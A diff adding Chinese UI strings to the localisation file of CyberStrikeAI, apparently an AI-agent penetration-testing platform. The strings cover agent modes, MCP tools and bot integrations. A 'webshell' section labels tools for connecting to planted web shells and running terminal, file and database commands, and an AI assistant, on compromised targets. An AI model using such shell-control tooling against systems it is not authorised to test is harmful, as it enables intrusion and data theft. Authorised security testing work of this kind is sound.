"conversationGroups": "对话分组",
"addGroup": "新建分组",
@@ -121,6 +133,7 @@
"copyMessageTitle": "复制消息内容",
"emptyGroupConversations": "该分组暂无对话",
"noMatchingConversationsInGroup": "未找到匹配的对话",
"noHistoryConversations": "暂无历史对话",
"renameGroupPrompt": "请输入新名称:",
"deleteGroupConfirm": "确定要删除此分组吗?分组中的对话不会被删除,但会从分组中移除。",
"deleteConversationConfirm": "确定要删除此对话吗?",
@@ -130,10 +143,66 @@
"executeFailed": "执行失败",
"callOpenAIFailed": "调用OpenAI失败",
"systemReadyMessage": "系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。",
"addNewGroup": "+ 新增分组"
"addNewGroup": "+ 新增分组",
"callNumber": "调用 #{{n}}",
"iterationRound": "第 {{n}} 轮迭代",
"aiThinking": "AI思考",
"planning": "规划中",
"toolCallsDetected": "检测到 {{count}} 个工具调用",
"callTool": "调用工具: {{name}} ({{index}}/{{total}})",
"toolExecComplete": "工具 {{name}} 执行完成",
"toolExecFailed": "工具 {{name}} 执行失败",
"knowledgeRetrieval": "知识检索",
"knowledgeRetrievalTag": "知识检索",
"error": "错误",
"taskCancelled": "任务已取消",
"unknownTool": "未知工具",
"einoAgentReplyTitle": "子代理回复",
"noDescription": "暂无描述",
"noResponseData": "暂无响应数据",
"loading": "加载中...",
"loadFailed": "加载失败: {{message}}",
"noAttackChainData": "暂无攻击链数据",
"copyFailedManual": "复制失败,请手动选择内容复制",
"searching": "搜索中...",
"loadFailedRetry": "加载失败,请重试",
"dataFormatError": "数据格式错误",
"progressInProgress": "渗透测试进行中...",
"executionFailed": "执行失败",
"penetrationTestComplete": "渗透测试完成",
"yesterday": "昨天",
"agentModeSelectAria": "选择单代理或多代理",
"agentModePanelTitle": "对话模式",
"agentModeSingle": "单代理",
"agentModeMulti": "多代理",
"agentModeSingleHint": "单模型 ReAct 循环,适合常规对话与工具调用",
"agentModeMultiHint": "Eino DeepAgent 编排子代理,适合复杂任务"
},
"progress": {
"callingAI": "正在调用AI模型...",
"callingTool": "正在调用工具: {{name}}",
"lastIterSummary": "最后一次迭代:正在生成总结和下一步计划...",
"summaryDone": "总结生成完成",
"generatingFinalReply": "正在生成最终回复...",
"maxIterSummary": "达到最大迭代次数,正在生成总结...",
"analyzingRequestShort": "正在分析您的请求...",
"analyzingRequestPlanning": "开始分析请求并制定测试策略",
"startingEinoDeepAgent": "正在启动 Eino 多代理(DeepAgent...",
"einoAgent": "Eino 代理:{{name}}"
},
"timeline": {
"params": "参数:",
"executionResult": "执行结果:",
"executionId": "执行ID:",
"noResult": "无结果",
"running": "执行中...",
"completed": "已完成",
"execFailed": "执行失败"
},
"tasks": {
"title": "任务管理",
"stopTask": "停止任务",
"collapseDetail": "收起详情",
"newTask": "新建任务",
"autoRefresh": "自动刷新",
"historyHint": "提示:有已完成的任务历史,请勾选\"显示历史记录\"查看",
@@ -153,6 +222,10 @@
"unknownTime": "未知时间",
"clearHistoryConfirm": "确定要清空所有任务历史记录吗?",
"cancelTaskFailed": "取消任务失败",
"cancelFailed": "取消失败",
"taskInfoNotSynced": "任务信息尚未同步,请稍后再试。",
"loadActiveTasksFailed": "获取活跃任务失败",
"cannotGetTaskStatus": "无法获取任务状态",
"copiedToast": "已复制!",
"cancelling": "取消中...",
"enterTaskPrompt": "请输入至少一个任务",
@@ -271,6 +344,133 @@
"loadFailed": "加载漏洞失败",
"deleteConfirm": "确定要删除此漏洞吗?"
},
"webshell": {
"title": "WebShell 管理",
"addConnection": "添加连接",
"connections": "连接列表",
"noConnections": "暂无连接,请点击「添加连接」",
"selectOrAdd": "请从左侧选择连接,或添加新的 WebShell 连接",
"url": "Shell 地址",
"urlPlaceholder": "http(s)://target.com/shell.php",
"password": "连接密码/密钥",
"passwordPlaceholder": "如冰蝎/蚁剑的连接密码",
"method": "请求方式",
"methodPost": "POST",
"methodGet": "GET",
"type": "Shell 类型",
"typePhp": "PHP",
"typeAsp": "ASP",
"typeAspx": "ASPX",
"typeJsp": "JSP",
"typeCustom": "自定义",
"cmdParam": "命令参数名",
"cmdParamPlaceholder": "不填默认为 cmd,如填 xxx 则请求为 xxx=命令",
"remark": "备注",
"remarkPlaceholder": "便于识别的备注名",
"deleteConfirm": "确定要删除该连接吗?",
"editConnection": "编辑",
"editConnectionTitle": "编辑连接",
"tabTerminal": "虚拟终端",
"tabFileManager": "文件管理",
"tabAiAssistant": "AI 助手",
"tabDbManager": "数据库管理",
"tabMemo": "备忘录",
"dbType": "数据库类型",
"dbHost": "主机",
"dbPort": "端口",
"dbUsername": "用户名",
"dbPassword": "密码",
"dbName": "数据库名",
"dbSqlitePath": "SQLite 文件路径",
"dbSqlPlaceholder": "输入 SQL,例如:SELECT version();",
"dbRunSql": "执行 SQL",
"dbTest": "测试连接",
"dbOutput": "执行输出",
"dbNoConn": "请先选择 WebShell 连接",
"dbSqlRequired": "请输入 SQL",
"dbRunning": "数据库命令执行中,请稍候",
"dbCliHint": "如果提示命令不存在,请先在目标主机安装对应客户端(mysql/psql/sqlite3/sqlcmd",
"dbExecFailed": "数据库执行失败",
"dbSchema": "数据库结构",
"dbLoadSchema": "加载结构",
"dbNoSchema": "暂无数据库结构,请先加载",
"dbSelectTableHint": "点击表名可展开列信息并生成查询 SQL",
"dbNoColumns": "暂无列信息",
"dbResultTable": "结果表格",
"dbClearSql": "清空 SQL",
"dbTemplateSql": "示例 SQL",
"dbRows": "行",
"dbColumns": "列",
"dbSchemaFailed": "加载数据库结构失败",
"dbAddProfile": "新增连接",
"dbRenameProfile": "重命名",
"dbDeleteProfile": "删除连接",
"dbDeleteProfileConfirm": "确定删除该数据库连接配置吗?",
"dbProfileNamePrompt": "请输入连接名称",
"dbProfiles": "数据库连接",
"aiSystemReadyMessage": "系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。",
"aiNewConversation": "新对话",
"aiPreviousConversation": "之前的对话",
"aiDeleteConversation": "删除对话",
"aiDeleteConversationConfirm": "确定删除当前对话记录?",
"aiPlaceholder": "例如:列出当前目录下的文件",
"aiSend": "发送",
"aiMemo": "备忘录",
"aiMemoPlaceholder": "记录关键命令、测试思路、复现步骤...",
"aiMemoClear": "清空",
"aiMemoSaving": "保存中...",
"aiMemoSaved": "已保存到本地",
"quickCommands": "快捷命令",
"downloadFile": "下载",
"terminalWelcome": "WebShell 虚拟终端 — 输入命令后按回车执行(Ctrl+L 清屏)",
"filePath": "当前路径",
"listDir": "列出目录",
"readFile": "读取",
"editFile": "编辑",
"deleteFile": "删除",
"saveFile": "保存",
"cancelEdit": "取消",
"parentDir": "上级目录",
"execError": "执行失败",
"testConnectivity": "测试连通性",
"testSuccess": "连通性正常,Shell 可访问",
"testFailed": "连通性测试失败",
"testNoExpectedOutput": "Shell 返回了响应但未得到预期输出,请检查连接密码与命令参数名",
"clearScreen": "清屏",
"copyTerminalLog": "复制日志",
"terminalIdle": "空闲",
"terminalRunning": "执行中",
"terminalCopyOk": "日志已复制",
"terminalCopyFail": "复制失败",
"terminalNewWindow": "新终端",
"terminalWindowPrefix": "终端",
"running": "执行中…",
"waitFinish": "请等待当前命令执行完成",
"newDir": "新建目录",
"rename": "重命名",
"upload": "上传",
"newFile": "新建文件",
"filterPlaceholder": "过滤文件名",
"batchDelete": "批量删除",
"batchDownload": "批量下载",
"refresh": "刷新",
"selectAll": "全选",
"searchPlaceholder": "搜索连接...",
"noMatchConnections": "暂无匹配连接",
"breadcrumbHome": "根",
"back": "返回",
"moreActions": "更多操作",
"batchProbe": "一键批量探活",
"probeRunning": "探活中",
"probeOnline": "在线",
"probeOffline": "离线",
"probeNoConnections": "暂无可探活连接",
"colModifiedAt": "修改时间",
"colPerms": "权限",
"colOwner": "所有者",
"colGroup": "用户组",
"colType": "类型"
},
"mcp": {
"monitorTitle": "MCP 状态监控",
"execStats": "执行统计",
@@ -340,6 +540,7 @@
"configStdioNeedCommand": "配置错误: \"{{name}}\" stdio模式需要command字段",
"configHttpNeedUrl": "配置错误: \"{{name}}\" http模式需要url字段",
"configSseNeedUrl": "配置错误: \"{{name}}\" sse模式需要url字段",
"configEditMustContainName": "配置错误: 编辑模式下,JSON必须包含配置名称 \"{{name}}\"",
"saveSuccess": "保存成功",
"deleteSuccess": "删除成功",
"deleteExternalConfirm": "确定要删除外部MCP \"{{name}}\" 吗?",
@@ -349,30 +550,60 @@
"totalCount": "总数",
"enabledCount": "已启用",
"disabledCount": "已停用",
"connectedCount": "已连接"
"connectedCount": "已连接",
"toolsCountValue": "🔧 {{count}} 个工具",
"connectionErrorLabel": "连接错误:",
"secondsUnit": "秒",
"urlLabel": "URL",
"loadExternalMCPFailed": "加载失败"
},
"settings": {
"title": "系统设置",
"nav": {
"basic": "基本设置",
"knowledge": "知识库",
"robots": "机器人设置",
"terminal": "终端",
"security": "安全设置"
},
"knowledge": {
"title": "知识库设置"
},
"robots": {
"title": "机器人设置",
"description": "配置企业微信、钉钉、飞书等机器人,在手机端直接与 CyberStrikeAI 对话,无需在服务器上打开网页。",
"wecom": {
"title": "企业微信",
"enabled": "启用企业微信机器人"
"enabled": "启用企业微信机器人",
"token": "Token",
"tokenPlaceholder": "Token",
"encodingAesKey": "EncodingAESKey",
"encodingAesKeyPlaceholder": "EncodingAESKey(明文模式可留空)",
"corpId": "CorpID",
"corpIdPlaceholder": "企业 ID",
"secret": "Secret",
"secretPlaceholder": "应用 Secret",
"agentId": "AgentID",
"agentIdPlaceholder": "应用 AgentId"
},
"dingtalk": {
"title": "钉钉",
"enabled": "启用钉钉机器人"
"enabled": "启用钉钉机器人",
"clientIdLabel": "Client ID (AppKey)",
"clientIdPlaceholder": "钉钉应用 AppKey",
"clientSecretLabel": "Client Secret",
"clientSecretPlaceholder": "钉钉应用 Secret",
"streamHint": "需开启机器人能力并配置流式接入"
},
"lark": {
"title": "飞书 (Lark)",
"enabled": "启用飞书机器人"
"enabled": "启用飞书机器人",
"appIdLabel": "App ID",
"appIdPlaceholder": "飞书应用 App ID",
"appSecretLabel": "App Secret",
"appSecretPlaceholder": "飞书应用 App Secret",
"verifyTokenLabel": "Verify Token(可选)",
"verifyTokenPlaceholder": "事件订阅 Verification Token"
}
},
"apply": {
@@ -414,7 +645,15 @@
"title": "角色管理",
"createRole": "创建角色",
"searchPlaceholder": "搜索角色...",
"deleteConfirm": "确定要删除角色..."
"deleteConfirm": "确定要删除角色...",
"loadFailed": "加载角色失败",
"noDescription": "暂无描述",
"defaultRoleDescription": "默认角色,不额外携带用户提示词,使用默认MCP",
"noMatchingRoles": "没有找到匹配的角色",
"noRoles": "暂无角色",
"enabled": "已启用",
"disabled": "已禁用",
"noDescriptionShort": "无描述"
},
"skills": {
"title": "Skills管理",
@@ -436,10 +675,246 @@
"loadStatsFailed": "加载skills监控数据失败",
"clearStatsConfirm": "确定要清空所有Skills统计数据吗?此操作不可恢复。",
"statsCleared": "已清空所有Skills统计数据",
"clearStatsFailed": "清空统计数据失败"
"clearStatsFailed": "清空统计数据失败",
"noDescription": "无描述",
"viewSkillTitle": "查看Skill: {{name}}",
"descriptionLabel": "描述:",
"pathLabel": "路径:",
"modTimeLabel": "修改时间:",
"contentLabel": "内容:",
"nameRequired": "skill名称不能为空",
"contentRequired": "skill内容不能为空",
"nameInvalid": "skill名称只能包含字母、数字、连字符和下划线",
"saveSuccess": "skill已更新",
"createdSuccess": "skill已创建",
"deleteConfirm": "确定要删除skill \"{{name}}\" 吗?此操作不可恢复。",
"deleteConfirmWithRoles": "确定要删除skill \"{{name}}\" 吗?\n\n⚠️ 该skill当前已被以下 {{count}} 个角色绑定:\n{{roles}}\n\n删除后,系统将自动从这些角色中移除该skill的绑定。\n\n此操作不可恢复,是否继续?",
"deleteSuccess": "skill已删除",
"deleteSuccessWithRoles": "skill已删除,已自动从 {{count}} 个角色中移除绑定:{{roles}}",
"loadFailedShort": "加载失败",
"totalSkillsCount": "总Skills数",
"totalCallsCount": "总调用次数",
"successfulCalls": "成功调用",
"failedCalls": "失败调用",
"successRate": "成功率",
"skillName": "Skill名称",
"totalCalls": "总调用",
"success": "成功",
"failure": "失败",
"lastCallTime": "最后调用时间",
"noCallRecords": "暂无Skills调用记录",
"loadStatsErrorShort": "无法加载统计信息",
"loadCallStatsError": "无法加载调用统计"
},
"apiDocs": {
"curlCopied": "curl命令已复制到剪贴板!"
"pageTitle": "API 文档 - CyberStrikeAI",
"title": "API 文档",
"subtitle": "CyberStrikeAI 平台 API 接口文档,支持在线测试",
"authTitle": "API 认证说明",
"authAllNeedToken": "所有 API 接口都需要 Token 认证。",
"authGetToken": "1. 获取 Token",
"authGetTokenDesc": "在前端页面登录后,Token 会自动保存。您也可以通过以下方式获取:",
"authUseToken": "2. 使用 Token",
"authUseTokenDesc": "在请求头中添加 Authorization 字段:",
"authTip": "💡 提示:本页面会自动使用您已登录的 Token,无需手动填写。",
"tokenDetected": "✓ 已检测到 Token - 您可以直接测试 API 接口",
"tokenNotDetected": "⚠ 未检测到 Token - 请先在前端页面登录,然后刷新此页面。测试接口时需要在请求头中添加 Authorization: Bearer token",
"sidebarGroupTitle": "API 分组",
"allApis": "全部接口",
"loading": "加载中...",
"loadingDesc": "正在加载 API 文档",
"errorLoginRequired": "需要登录才能查看API文档。请先在前端页面登录,然后刷新此页面。",
"errorLoadSpec": "加载API规范失败: ",
"errorLoadFailed": "加载API文档失败: ",
"errorSpecInvalid": "API规范格式错误",
"loadFailed": "加载失败",
"backToLogin": "返回首页登录",
"noApis": "暂无API",
"noEndpointsInGroup": "该分组下没有API端点",
"sectionDescription": "描述",
"viewDetailDesc": "查看详细说明",
"hideDetailDesc": "隐藏详细说明",
"noDescription": "无描述",
"sectionParams": "参数",
"paramName": "参数名",
"type": "类型",
"description": "描述",
"required": "必需",
"optional": "可选",
"sectionRequestBody": "请求体",
"example": "示例",
"exampleJson": "示例JSON:",
"sectionResponse": "响应",
"testSection": "测试接口",
"requestBodyJson": "请求体 (JSON)",
"queryParams": "查询参数:",
"sendRequest": "发送请求",
"copyCurl": "复制curl",
"clearResult": "清除结果",
"copyCurlTitle": "复制curl命令",
"clearResultTitle": "清除测试结果",
"sendingRequest": "发送请求中...",
"errorPathParamRequired": "路径参数 {{name}} 不能为空",
"errorQueryParamRequired": "查询参数 {{name}} 不能为空",
"errorTokenRequired": "未检测到 Token。请先在前端页面登录,然后刷新此页面。或者手动在请求头中添加 Authorization: Bearer your_token",
"errorJsonInvalid": "请求体JSON格式错误: ",
"requestFailed": "请求失败: ",
"copied": "已复制",
"curlCopied": "curl命令已复制到剪贴板!",
"copyFailedManual": "复制失败,请手动复制:\n\n",
"curlGenFailed": "生成curl命令失败: ",
"requestBodyPlaceholder": "请输入JSON格式的请求体",
"tags": {
"auth": "认证",
"conversationManagement": "对话管理",
"conversationInteraction": "对话交互",
"batchTasks": "批量任务",
"conversationGroups": "对话分组",
"vulnerabilityManagement": "漏洞管理",
"roleManagement": "角色管理",
"skillsManagement": "Skills管理",
"monitoring": "监控",
"configManagement": "配置管理",
"externalMCPManagement": "外部MCP管理",
"attackChain": "攻击链",
"knowledgeBase": "知识库",
"mcp": "MCP"
},
"summary": {
"login": "用户登录",
"logout": "用户登出",
"changePassword": "修改密码",
"validateToken": "验证Token",
"createConversation": "创建对话",
"listConversations": "列出对话",
"getConversationDetail": "查看对话详情",
"updateConversation": "更新对话",
"deleteConversation": "删除对话",
"getConversationResult": "获取对话结果",
"sendMessageNonStream": "发送消息并获取AI回复(非流式)",
"sendMessageStream": "发送消息并获取AI回复(流式)",
"cancelTask": "取消任务",
"listRunningTasks": "列出运行中的任务",
"listCompletedTasks": "列出已完成的任务",
"createBatchQueue": "创建批量任务队列",
"listBatchQueues": "列出批量任务队列",
"getBatchQueue": "获取批量任务队列",
"deleteBatchQueue": "删除批量任务队列",
"startBatchQueue": "启动批量任务队列",
"pauseBatchQueue": "暂停批量任务队列",
"addTaskToQueue": "添加任务到队列",
"sqlInjectionScan": "SQL注入扫描",
"portScan": "端口扫描",
"updateBatchTask": "更新批量任务",
"deleteBatchTask": "删除批量任务",
"createGroup": "创建分组",
"listGroups": "列出分组",
"getGroup": "获取分组",
"updateGroup": "更新分组",
"deleteGroup": "删除分组",
"getGroupConversations": "获取分组中的对话",
"addConversationToGroup": "添加对话到分组",
"removeConversationFromGroup": "从分组移除对话",
"listVulnerabilities": "列出漏洞",
"createVulnerability": "创建漏洞",
"getVulnerabilityStats": "获取漏洞统计",
"getVulnerability": "获取漏洞",
"updateVulnerability": "更新漏洞",
"deleteVulnerability": "删除漏洞",
"listRoles": "列出角色",
"createRole": "创建角色",
"getRole": "获取角色",
"updateRole": "更新角色",
"deleteRole": "删除角色",
"getAvailableSkills": "获取可用Skills列表",
"listSkills": "列出Skills",
"createSkill": "创建Skill",
"getSkillStats": "获取Skill统计",
"clearSkillStats": "清空Skill统计",
"getSkill": "获取Skill",
"updateSkill": "更新Skill",
"deleteSkill": "删除Skill",
"getBoundRoles": "获取绑定角色",
"clearSkillStatsAlt": "清空Skill统计",
"getMonitorInfo": "获取监控信息",
"getExecutionRecords": "获取执行记录",
"deleteExecutionRecord": "删除执行记录",
"batchDeleteExecutionRecords": "批量删除执行记录",
"getStats": "获取统计信息",
"getConfig": "获取配置",
"updateConfig": "更新配置",
"getToolConfig": "获取工具配置",
"applyConfig": "应用配置",
"listExternalMCP": "列出外部MCP",
"getExternalMCPStats": "获取外部MCP统计",
"getExternalMCP": "获取外部MCP",
"addOrUpdateExternalMCP": "添加或更新外部MCP",
"stdioModeConfig": "stdio模式配置",
"sseModeConfig": "SSE模式配置",
"deleteExternalMCP": "删除外部MCP",
"startExternalMCP": "启动外部MCP",
"stopExternalMCP": "停止外部MCP",
"getAttackChain": "获取攻击链",
"regenerateAttackChain": "重新生成攻击链",
"pinConversation": "设置对话置顶",
"pinGroup": "设置分组置顶",
"pinGroupConversation": "设置分组中对话的置顶",
"getCategories": "获取分类",
"listKnowledgeItems": "列出知识项",
"createKnowledgeItem": "创建知识项",
"getKnowledgeItem": "获取知识项",
"updateKnowledgeItem": "更新知识项",
"deleteKnowledgeItem": "删除知识项",
"getIndexStatus": "获取索引状态",
"rebuildIndex": "重建索引",
"scanKnowledgeBase": "扫描知识库",
"searchKnowledgeBase": "搜索知识库",
"basicSearch": "基础搜索",
"searchByRiskType": "按风险类型搜索",
"getRetrievalLogs": "获取检索日志",
"deleteRetrievalLog": "删除检索日志",
"mcpEndpoint": "MCP端点",
"listAllTools": "列出所有工具",
"invokeTool": "调用工具",
"initConnection": "初始化连接",
"successResponse": "成功响应",
"errorResponse": "错误响应"
},
"response": {
"getSuccess": "获取成功",
"unauthorized": "未授权",
"unauthorizedToken": "未授权,需要有效的Token",
"createSuccess": "创建成功",
"badRequest": "请求参数错误",
"conversationNotFound": "对话不存在",
"conversationOrResultNotFound": "对话不存在或结果不存在",
"badRequestTaskEmpty": "请求参数错误(如task为空)",
"badRequestGroupNameExists": "请求参数错误或分组名称已存在",
"groupNotFound": "分组不存在",
"badRequestConfig": "请求参数错误(如配置格式不正确、缺少必需字段等)",
"badRequestQueryEmpty": "请求参数错误(如query为空)",
"methodNotAllowed": "方法不允许(仅支持POST请求)",
"loginSuccess": "登录成功",
"invalidPassword": "密码错误",
"logoutSuccess": "登出成功",
"passwordChanged": "密码修改成功",
"tokenValid": "Token有效",
"tokenInvalid": "Token无效或已过期",
"conversationCreated": "对话创建成功",
"internalError": "服务器内部错误",
"updateSuccess": "更新成功",
"deleteSuccess": "删除成功",
"queueNotFound": "队列不存在",
"startSuccess": "启动成功",
"pauseSuccess": "暂停成功",
"addSuccess": "添加成功",
"taskNotFound": "任务不存在",
"conversationOrGroupNotFound": "对话或分组不存在",
"cancelSubmitted": "取消请求已提交",
"noRunningTask": "未找到正在执行的任务",
"messageSent": "消息发送成功,返回AI回复",
"streamResponse": "流式响应(Server-Sent Events"
}
},
"chatGroup": {
"search": "搜索",
@@ -580,6 +1055,15 @@
"presetLogin": "登录页 + 中国",
"presetDomain": "指定域名",
"presetIp": "指定 IP",
"queryPresetsAria": "FOFA 查询示例",
"fieldsPresetsAria": "FOFA 字段模板",
"resultsToolbarAria": "结果工具条",
"fillExample": "填入示例",
"parseBtnTitle": "将自然语言解析为 FOFA 查询语法",
"minFieldsTitle": "适合快速导出目标",
"webCommonTitle": "适合浏览和筛选",
"intelEnhancedTitle": "更偏指纹/情报",
"fullLabel": "full",
"nlPlaceholder": "例如:找美国 Missouri 的 Apache 站点,标题包含 Home",
"showHideColumns": "显示/隐藏字段",
"exportCsvTitle": "导出当前结果为 CSVUTF-8,兼容中文)",
@@ -587,6 +1071,67 @@
"exportXlsxTitle": "导出当前结果为 Excel",
"batchScanTitle": "将所选行创建为批量任务队列"
},
"chatFilesPage": {
"title": "文件管理",
"intro": "管理在对话中上传的文件。需要让 AI 引用某文件时,在列表中点击「复制路径」,到对话里粘贴即可(路径为服务器上的绝对路径,与对话附件保存位置一致)。",
"upload": "上传文件",
"conversationFilter": "会话 ID",
"conversationPlaceholder": "留空表示全部",
"searchName": "文件名",
"searchNamePlaceholder": "筛选文件名",
"groupBy": "分组方式",
"groupNone": "不分组(平铺)",
"groupByDate": "按日期",
"groupByConversation": "按会话",
"groupByFolder": "按文件夹(路径浏览)",
"browseRoot": "chat_uploads",
"browseUp": "上级",
"enterFolderTitle": "进入此文件夹",
"copyFolderPathTitle": "复制该目录的相对路径(chat_uploads/…)",
"folderPathCopied": "目录路径已复制,可粘贴到对话中",
"folderEmpty": "此文件夹为空",
"confirmDeleteFolder": "确定删除该文件夹及其中的全部文件?此操作不可恢复。",
"deleteFolderTitle": "删除文件夹",
"uploadToFolderTitle": "上传文件到此文件夹",
"newFolderButton": "新建文件夹",
"newFolderTitle": "新建文件夹",
"newFolderLocation": "位置",
"newFolderNameLabel": "文件夹名称",
"newFolderNamePlaceholder": "仅名称,不含 /",
"mkdirOk": "文件夹已创建",
"mkdirExists": "该名称已存在",
"mkdirInvalidName": "名称无效:不能为空,且不能包含 /、\\ 或 . / ..",
"colSubPath": "子路径",
"folderRoot": "(根目录)",
"groupCount": "{{count}} 个文件",
"convManual": "手动上传",
"convNew": "新对话",
"colDate": "日期",
"colConversation": "会话",
"colName": "文件名",
"colSize": "大小",
"colModified": "修改时间",
"colActions": "操作",
"copyPath": "复制路径",
"copyPathTitle": "复制服务器上的绝对路径,可粘贴到对话中让模型引用该文件",
"pathCopied": "路径已复制,可到对话中粘贴使用",
"uploadOkHint": "上传成功。点击「复制路径」可复制绝对路径到剪贴板。",
"moreActions": "更多:打开对话、编辑、重命名、删除",
"download": "下载",
"edit": "编辑",
"rename": "重命名",
"openChat": "打开对话",
"confirmDelete": "确定删除该文件?",
"editTitle": "编辑文件",
"renameTitle": "重命名",
"newFileName": "新文件名",
"empty": "暂无对话附件",
"errorLoad": "加载失败",
"editBinaryHint": "图片、压缩包等二进制文件无法在此以文本方式编辑,请使用「下载」后在本地查看或处理。",
"editUnavailable": "不可编辑",
"editTooLarge": "文件超过 2MB,无法在此编辑,请下载后本地处理。",
"errorGeneric": "操作失败,请稍后重试。"
},
"vulnerabilityPage": {
"statTotal": "总漏洞数",
"filter": "筛选",
@@ -617,7 +1162,54 @@
"clearStatsTitle": "清空所有统计数据",
"skillsCallStats": "Skills调用统计",
"searchPlaceholder": "搜索Skills...",
"loading": "加载中..."
"loading": "加载中...",
"paginationShow": "显示 {{start}}-{{end}} / 共 {{total}} 条",
"perPageLabel": "每页显示",
"firstPage": "首页",
"prevPage": "上一页",
"pageOf": "第 {{current}} / {{total}} 页",
"nextPage": "下一页",
"lastPage": "尾页"
},
"agentsPage": {
"title": "Agent 管理",
"create": "新建 Agent",
"hint": "Agent 在 agents 目录(config 中 agents_dir)下以 .md 维护:YAML front matter + 正文为系统提示词;主代理为 Deep 协调者,不参与 task 子代理列表。",
"dirLabel": "目录",
"loading": "加载中...",
"empty": "暂无 Markdown 子 Agent,点击「新建 Agent」创建。",
"noDesc": "暂无描述",
"loadFailed": "加载列表失败",
"loadOneFailed": "加载 Agent 失败",
"createTitle": "新建 Agent",
"editTitle": "编辑 Agent",
"filename": "文件名(.md",
"filenamePlaceholder": "例如 code-reviewer.md",
"fieldRole": "类型",
"roleSub": "子代理",
"roleOrchestrator": "主代理(Deep 协调者)",
"roleHint": "主代理也可使用固定文件名 orchestrator.md;全目录仅允许一个主代理。主代理正文为空时沿用 config 中 orchestrator_instruction 与 Eino 默认。",
"badgeOrchestrator": "主代理",
"badgeSub": "子代理",
"filenameInvalid": "文件名须为 .md,且仅含字母、数字、._-",
"fieldId": "Agent ID(留空则从名称生成)",
"fieldName": "显示名称",
"namePlaceholder": "Code Reviewer",
"fieldDesc": "描述",
"descPlaceholder": "何时由协调者调度该子代理",
"fieldTools": "可用工具(逗号分隔,与角色工具 key 一致)",
"fieldBindRole": "绑定角色(可选)",
"fieldMaxIter": "子代理最大迭代(0=使用全局默认)",
"fieldInstruction": "系统提示词(Markdown 正文)",
"instructionPlaceholder": "You are a specialist agent...",
"nameRequired": "请填写显示名称",
"instructionRequired": "请填写系统提示词正文",
"saveOk": "已保存",
"createOk": "已创建",
"saveFailed": "保存失败",
"deleteConfirm": "确定删除 {{name}} 吗?",
"deleteOk": "已删除",
"deleteFailed": "删除失败"
},
"settingsBasic": {
"basicTitle": "基本设置",
@@ -686,8 +1278,15 @@
"title": "终端",
"description": "在服务器上执行命令,便于运维与调试。命令在服务端执行,请勿执行敏感或破坏性操作。",
"terminalTab": "终端 {{n}}",
"close": "关闭",
"newTerminal": "新终端"
"welcomeLine": "CyberStrikeAI 终端 - 真实 Shell 会话,直接输入命令;Ctrl+L 清屏",
"sessionClosed": "[会话已关闭]",
"connectionError": "[终端连接出错]",
"connectFailed": "[无法连接终端服务: {{msg}}]",
"closeTabTitle": "关闭",
"containerClickTitle": "点击此处后输入命令",
"xtermNotLoaded": "未加载 xterm.js,请刷新页面或检查网络。",
"close": "×",
"newTerminal": "+"
},
"settingsSecurity": {
"changePasswordTitle": "修改密码",
@@ -703,13 +1302,32 @@
},
"settingsRobotsExtra": {
"botCommandsTitle": "机器人命令说明",
"botCommandsDesc": "在对话中可发送以下命令(支持中英文):"
"botCommandsDesc": "在对话中可发送以下命令(支持中英文):",
"botCmdHelp": "显示本帮助 | Show this help",
"botCmdList": "列出所有对话标题与 ID | List conversations",
"botCmdSwitch": "指定对话继续 | Switch to conversation",
"botCmdNew": "开启新对话 | Start new conversation",
"botCmdClear": "清空当前上下文 | Clear context",
"botCmdCurrent": "显示当前对话 ID 与标题 | Show current conversation",
"botCmdStop": "中断当前任务 | Stop running task",
"botCmdRoles": "列出所有可用角色 | List roles",
"botCmdRole": "切换当前角色 | Switch role",
"botCmdDelete": "删除指定对话 | Delete conversation",
"botCmdVersion": "显示当前版本号 | Show version",
"botCommandsFooter": "除以上命令外,直接输入内容将发送给 AI 进行渗透测试/安全分析。Otherwise, send any text for AI penetration testing / security analysis."
},
"mcpDetailModal": {
"title": "工具调用详情",
"execInfo": "执行信息",
"tool": "工具",
"status": "状态",
"statusPending": "等待中",
"statusRunning": "执行中",
"statusCompleted": "已完成",
"statusFailed": "失败",
"unknown": "未知",
"getDetailFailed": "获取详情失败",
"execSuccessNoContent": "执行成功,未返回可展示的文本内容。",
"time": "时间",
"executionId": "执行 ID",
"requestParams": "请求参数",
@@ -752,6 +1370,15 @@
"configJson": "配置JSON",
"formatLabel": "配置格式:",
"formatDesc": "JSON对象,key为配置名称,value为配置内容。状态通过\"启动/停止\"按钮控制,无需在JSON中配置。",
"configExample": "配置示例:",
"stdioMode": "stdio模式:",
"httpMode": "HTTP模式:",
"sseMode": "SSE模式:",
"placeholder": "{\n \"hexstrike-ai\": {\n \"command\": \"python3\",\n \"args\": [\"/path/to/script.py\"],\n \"description\": \"描述\",\n \"timeout\": 300\n }\n}",
"exampleStdio": "{\n \"hexstrike-ai\": {\n \"command\": \"python3\",\n \"args\": [\"/path/to/script.py\", \"--server\", \"http://example.com\"],\n \"description\": \"描述\",\n \"timeout\": 300\n }\n}",
"exampleHttp": "{\n \"cyberstrike-ai-http\": {\n \"transport\": \"http\",\n \"url\": \"http://127.0.0.1:8081/mcp\"\n }\n}",
"exampleSse": "{\n \"cyberstrike-ai-sse\": {\n \"transport\": \"sse\",\n \"url\": \"http://127.0.0.1:8081/mcp/sse\"\n }\n}",
"exampleDescription": "示例描述",
"formatJson": "格式化JSON",
"loadExample": "加载示例"
},
@@ -765,7 +1392,7 @@
"descriptionPlaceholder": "Skill的简短描述",
"contentLabel": "内容(Markdown格式)",
"contentPlaceholder": "输入skill内容,支持Markdown格式...",
"contentHint": "支持YAML front matter格式(可选)"
"contentHint": "支持YAML front matter格式(可选),例如:"
},
"knowledgeItemModal": {
"addKnowledge": "添加知识",
@@ -920,6 +1547,33 @@
"searchSkillsPlaceholder": "搜索skill...",
"loadingSkills": "正在加载skills列表...",
"relatedSkillsHint": "勾选要关联的skills,这些skills的内容会在执行任务前注入到系统提示词中,帮助AI更好地理解相关专业知识。",
"enableRole": "启用此角色"
"enableRole": "启用此角色",
"selectAll": "全选",
"deselectAll": "全不选",
"roleNameRequired": "角色名称不能为空",
"roleNotFound": "角色不存在",
"firstRoleNoToolsHint": "检测到这是首次添加角色且未选择工具,将默认使用全部工具",
"currentPageSelected": "当前页已选中: {{current}} / {{total}}",
"totalSelected": "总计已选中: {{current}} / {{total}}",
"usingAllEnabledTools": "(使用所有已启用工具)",
"currentPageSelectedTitle": "当前页选中的工具数(只统计已启用的工具)",
"totalSelectedTitle": "角色已关联的工具总数(基于角色实际配置)",
"skillsSelectedCount": "已选择 {{count}} / {{total}}",
"loadToolsFailed": "加载工具列表失败",
